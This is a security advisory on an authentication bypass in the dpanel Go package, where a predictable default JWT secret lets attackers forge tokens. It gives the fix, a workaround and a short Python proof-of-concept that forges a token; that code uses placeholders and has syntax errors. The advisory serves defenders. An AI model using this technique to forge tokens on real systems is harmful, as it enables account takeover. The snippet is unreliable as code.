Insecure Default Value for Authentication Variable Affecting github.com/donknap/dpanel/app/common/logic package, versions <1.6.1
Threat Intelligence
Snyk has a proof-of-concept or detailed explanation of how to exploit this vulnerability.
The probability is the direct output of the EPSS model, and conveys an overall sense of the threat of exploitation in the wild. The percentile measures the EPSS probability relative to all known EPSS scores. Note: This data is updated daily, relying on the latest available EPSS model version. Check out the EPSS documentation for more details.
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Test your applications- Snyk IDSNYK-GOLANG-GITHUBCOMDONKNAPDPANELAPPCOMMONLOGIC-9802155
- published24 Apr 2025
- disclosed15 Apr 2025
- creditNS-Sp4ce
Introduced: 15 Apr 2025
NewCVE-2025-30206 (opens in a new tab)How to fix?
Upgrade github.com/donknap/dpanel/app/common/logic to version 1.6.1 or higher.
Overview
Affected versions of this package are vulnerable to Insecure Default Value for Authentication Variable in the GetJwtSecret() function in user.go. In the default configuration, the JWT secret value is predictable based on config values such as app.name. An attacker can bypass authentication and impersonate users by generating legitimate JWT tokens using the same algorithm.
Workaround
This vulnerability can be avoided by setting the JWT secret to a non default configured value and loading it at runtime.
PoC
import jwt
def generate_jwt(appname):
payload = {
"SECRET_KEY"："SECRET_VALUE",
}
print("appname:", appname)
print("payload:", str(payload))
token = jwt.encode(payload, SECRET_KEY.format(APP_NAME=appname), algorithm="HS256")
return token
appname = "SECRET_KEY" token = generate_jwt(appname) print("url token:", token)